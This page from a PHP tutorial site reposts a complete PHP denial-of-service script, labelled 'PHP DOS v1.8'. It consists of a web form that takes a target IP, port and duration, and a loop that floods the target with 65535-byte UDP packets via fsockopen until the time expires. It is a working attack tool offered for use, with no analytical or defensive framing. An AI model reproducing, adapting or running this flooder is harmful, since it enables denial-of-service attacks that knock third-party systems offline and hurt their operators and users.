php implements DOS attack

WBOY
Release: 2016-07-25 09:08:35
Original
1235 people have browsed it
小段php代码实现DOS攻击
  1. $ip = $_SERVER['REMOTE_ADDR'];
  2. ?>
  3. PHP DoS, Coded by EXE



  4. Your IP:  (Don't DoS yourself nub)

  5. IP:
  6.     Time:
  7.     Port:




  8. After initiating the DoS attack, please wait while the browser loads.
复制代码
  1. //=================================================
  2. //PHP DOS v1.8 (Possibly Stronger Flood Strength)
  3. //Coded by EXE
  4. //=================================================
  5. $packets = 0;
  6. $ip = $_POST['ip'];
  7. $rand = $_POST['port'];
  8. set_time_limit(0);
  9. ignore_user_abort(FALSE);
  10. $exec_time = $_POST['time'];
  11. $time = time();
  12. print "Flooded: $ip on port $rand

    ";
  13. $max_time = $time+$exec_time;
  14. for($i=0;$i<65535;$i++){
  15. $out .= "X";
  16. }
  17. while(1){
  18. $packets++;
  19. if(time() > $max_time){
  20. break;
  21. }
  22. $fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);
  23. if($fp){
  24. fwrite($fp, $out);
  25. fclose($fp);
  26. }
  27. }
  28. echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s n";
  29. ?>
复制代码


Related labels:
source:php.cn
Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
Popular Tutorials
More>
Latest Downloads
More>
Web Effects
Website Source Code
Website Materials
Front End Template
About us Disclaimer Sitemap
php.cn:Public welfare online PHP training,Help PHP learners grow quickly!